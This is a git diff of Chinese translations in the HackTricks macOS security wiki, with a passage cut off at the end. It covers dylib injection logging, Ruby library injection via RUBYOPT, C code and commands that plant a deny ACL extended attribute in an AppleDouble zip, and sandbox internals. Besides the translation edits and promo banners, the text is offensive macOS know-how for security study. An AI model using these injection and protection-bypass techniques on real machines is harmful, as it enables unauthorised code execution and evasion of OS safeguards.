{% hint style="info" %} -关于如何利用这个漏洞滥用 Telegram 的摄像头权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。 +关于如何利用此漏洞滥用Telegram的相机权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。 {% endhint %} ## 更大规模 -如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时加载到进程中(在这种情况下删除 printf 和 `/bin/bash` 执行)。 - +如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时在进程中加载(在这种情况下,移除printf和`/bin/bash`执行)。 ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -其他支持HackTricks的方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index d71561a38..f07993592 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,22 +1,23 @@ # macOS Ruby 应用程序注入 +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家) +支持 HackTricks -其他支持 HackTricks 的方式: - -* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} ## RUBYOPT -使用这个环境变量可以在每次执行 **ruby** 时**添加新的参数**。虽然不能使用参数 **`-e`** 来指定要执行的 ruby 代码,但可以使用参数 **`-I`** 和 **`-r`** 来添加一个新的文件夹到库加载路径,然后**指定一个要加载的库**。 +使用此环境变量,可以在每次执行 **ruby** 时 **添加新参数**。虽然参数 **`-e`** 不能用于指定要执行的 ruby 代码,但可以使用参数 **`-I`** 和 **`-r`** 来将新文件夹添加到库加载路径,然后 **指定要加载的库**。 在 **`/tmp`** 中创建库 **`inject.rb`**: @@ -24,42 +25,35 @@ ```ruby puts `whoami` ``` -```ruby -# hello.rb 内容 -puts "Hello, world!" -``` {% endcode %} -创建一个 Ruby 脚本,例如: +在任何地方创建一个 ruby 脚本,如下所示: {% code title="hello.rb" %} ```ruby -puts "Hello, world!" -``` -{% endcode %} -```ruby puts 'Hello, World!' ``` -```markdown -然后使用以下命令加载一个任意的ruby脚本: -``` +{% endcode %} + +然后让一个任意的 Ruby 脚本加载它: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -趣事,即使使用参数 **`--disable-rubyopt`** 也能工作: +有趣的事实,即使使用参数 **`--disable-rubyopt`** 也有效: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index b676bacbb..058116e3e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,27 +1,33 @@ -# macOS xattr-acls extra stuff +# macOS xattr-acls 额外内容 + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家) +支持 HackTricks -支持 HackTricks 的其他方式: - -* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
-获取 ACLs 的代码 +获取 ACL 的代码 ```c // gcc -o get_acls get_acls #include @@ -61,47 +67,103 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` - -\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\` - +``` +
+```bash +# Lets add the xattr com.apple.xxx.xxxx with the acls +mkdir start +mkdir start/protected +./set_xattr start/protected +echo something > start/protected/something +```
-set_xattr 的代码 +set_xattr的代码 +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
- +{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -115,19 +177,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` - ``` - -
-``` - +{% endcode %} ```bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected ``` +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
+支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index ecad4a01b..6501615eb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# macOS沙箱 +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +Support HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## 基本信息 +## Basic Information -MacOS沙箱(最初称为Seatbelt)**限制在沙箱内运行的应用程序**执行的操作,以**符合应用程序运行时使用的沙箱配置文件中指定的允许操作**。这有助于确保**应用程序只能访问预期的资源**。 +MacOS Sandbox(最初称为 Seatbelt)**限制应用程序**在沙箱内运行时的**允许操作,这些操作在应用程序运行的沙箱配置文件中指定**。这有助于确保**应用程序仅访问预期的资源**。 -任何具有**授权** **`com.apple.security.app-sandbox`** 的应用程序将在沙箱内执行。**苹果二进制文件**通常在沙箱内执行,为了在**App Store**中发布应用程序,**此授权是强制性的**。因此,大多数应用程序将在沙箱内执行。 +任何具有**权限** **`com.apple.security.app-sandbox`**的应用程序都将在沙箱内执行。**Apple 二进制文件**通常在沙箱内执行,并且为了在**App Store**中发布,**此权限是强制性的**。因此,大多数应用程序将在沙箱内执行。 -为了控制进程可以执行的操作,**沙箱在内核中的所有** **系统调用**中都有**钩子**。**根据**应用程序的**授权**,沙箱将**允许**特定操作。 +为了控制进程可以或不能做什么,**沙箱在内核的所有**syscalls**中都有钩子**。**根据**应用程序的**权限**,沙箱将**允许**某些操作。 沙箱的一些重要组件包括: * **内核扩展** `/System/Library/Extensions/Sandbox.kext` * **私有框架** `/System/Library/PrivateFrameworks/AppSandbox.framework` -* 在用户空间运行的**守护程序** `/usr/libexec/sandboxd` +* 在用户空间运行的**守护进程** `/usr/libexec/sandboxd` * **容器** `~/Library/Containers` -在容器文件夹中,您可以找到**为每个在沙箱中执行的应用程序**的文件夹,文件夹名称为bundle id: +在容器文件夹中,您可以找到**每个以沙箱方式执行的应用程序的文件夹**,其名称为包 ID: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -在每个 bundle id 文件夹中,您可以找到该应用的 **plist** 和 **Data 目录**: +在每个 bundle id 文件夹内,您可以找到应用的 **plist** 和 **数据目录**: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -请注意,即使符号链接存在以“逃离”沙盒并访问其他文件夹,应用程序仍然需要**具有权限**来访问它们。这些权限位于**`.plist`**文件中。 +请注意,即使符号链接存在以“逃离”沙箱并访问其他文件夹,应用程序仍然需要**拥有权限**才能访问它们。这些权限在**`.plist`**中。 {% endhint %} ```bash # Get permissions @@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -所有由沙盒应用程序创建/修改的内容都将获得**隔离属性**。这将通过触发Gatekeeper来阻止沙盒应用程序尝试使用**`open`**执行某些操作。 +由沙盒应用程序创建/修改的所有内容将获得**隔离属性**。这将通过触发Gatekeeper来防止沙盒空间,如果沙盒应用程序尝试使用**`open`**执行某些操作。 {% endhint %} ### 沙盒配置文件 -沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的内容的配置文件。它使用**沙盒配置语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme_%28programming_language%29)编程语言。 +沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的配置文件。它使用**沙盒配置文件语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))编程语言。 -在这里,您可以找到一个示例: +在这里您可以找到一个示例: ```scheme (version 1) ; First you get the version @@ -140,22 +141,22 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ) ``` {% hint style="success" %} -查看这个[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **以查看更多可能被允许或拒绝的操作。** +查看这个 [**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **以检查更多可以被允许或拒绝的操作。** {% endhint %} -重要的**系统服务**也在其自定义的**沙盒**中运行,例如`mdnsresponder`服务。您可以在以下位置查看这些自定义**沙盒配置文件**: +重要的 **系统服务** 也在它们自己的自定义 **沙箱** 中运行,例如 `mdnsresponder` 服务。您可以在以下位置查看这些自定义 **沙箱配置文件**: * **`/usr/share/sandbox`** * **`/System/Library/Sandbox/Profiles`** -* 其他沙盒配置文件可以在[https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)中进行检查。 +* 其他沙箱配置文件可以在 [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) 中查看。 -**App Store** 应用程序使用**配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中查看诸如**`com.apple.security.network.server`**这样的授权如何允许进程使用网络。 +**App Store** 应用使用 **配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中检查诸如 **`com.apple.security.network.server`** 的权限如何允许进程使用网络。 -SIP是一个名为platform\_profile的沙盒配置文件,位于/System/Library/Sandbox/rootless.conf +SIP 是一个名为 platform\_profile 的沙箱配置文件,位于 /System/Library/Sandbox/rootless.conf -### 沙盒配置文件示例 +### 沙箱配置文件示例 -要使用**特定的沙盒配置文件**启动应用程序,您可以使用: +要使用 **特定沙箱配置文件** 启动应用程序,您可以使用: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` @@ -210,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -请注意,运行在**Windows**上的**由苹果编写的软件**没有额外的安全预防措施,比如应用程序沙箱。 +请注意,**苹果编写的** **软件** 在 **Windows** 上 **没有额外的安全措施**,例如应用程序沙箱。 {% endhint %} 绕过示例: -- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(它们能够在沙箱之外写入以`~$`开头的文件)。 +* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(他们能够写入以 `~$` 开头的沙箱外文件)。 ### MacOS 沙箱配置文件 -macOS将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。 +macOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。 -如果第三方应用程序携带了 _**com.apple.security.app-sandbox**_ 权限,系统将应用 **/System/Library/Sandbox/Profiles/application.sb** 配置文件到该进程。 +如果第三方应用程序携带 _**com.apple.security.app-sandbox**_ 权限,系统会将 **/System/Library/Sandbox/Profiles/application.sb** 配置文件应用于该进程。 ### **iOS 沙箱配置文件** -默认配置文件名为 **container**,我们没有SBPL文本表示。在内存中,此沙箱被表示为每个权限的允许/拒绝二进制树。 +默认配置文件称为 **container**,我们没有 SBPL 文本表示。在内存中,这个沙箱被表示为每个权限的允许/拒绝二叉树。 -### 调试和绕过沙箱 +### 调试与绕过沙箱 -在macOS上,与iOS不同,进程必须自行选择加入沙箱。这意味着在macOS上,进程在主动决定进入沙箱之前不受沙箱限制。 +在 macOS 上,与 iOS 不同,iOS 的进程从一开始就由内核进行沙箱化,**进程必须自行选择进入沙箱**。这意味着在 macOS 上,进程在主动决定进入沙箱之前不会受到沙箱的限制。 -如果进程具有权限:`com.apple.security.app-sandbox`,则在启动时从用户空间自动将进程置于沙箱中。有关此过程的详细解释,请查看: +如果进程具有权限 `com.apple.security.app-sandbox`,则它们在启动时会自动从用户空间沙箱化。有关此过程的详细说明,请查看: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) @@ -240,20 +241,20 @@ macOS将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** ### **检查 PID 权限** -[**根据此**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`**(它是一个`__mac_syscall`)可以检查在特定PID中沙箱是否允许执行某个操作。 +[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`**(它是一个 `__mac_syscall`)可以检查 **某个 PID 是否允许某个操作**。 -[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) 可以检查PID是否可以执行某个操作: +[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) 可以检查某个 PID 是否可以执行某个操作: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### 在App Store应用程序中使用自定义SBPL +### App Store 应用中的自定义 SBPL -公司可以使他们的应用程序运行**使用自定义沙盒配置文件**(而不是默认配置文件)。他们需要使用授权的entitlement **`com.apple.security.temporary-exception.sbpl`**,这需要获得苹果的授权。 +公司可能会使他们的应用程序 **使用自定义沙盒配置文件**(而不是默认配置文件)。他们需要使用权限 **`com.apple.security.temporary-exception.sbpl`**,该权限需要得到 Apple 的授权。 -可以在**`/System/Library/Sandbox/Profiles/application.sb:`**中检查此entitlement的定义。 +可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查此权限的定义。 ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -261,18 +262,19 @@ sbtool all (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -这将**评估此授权后的字符串**作为沙箱配置文件。 +这将**在此权限后评估字符串**作为沙盒配置文件。 + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 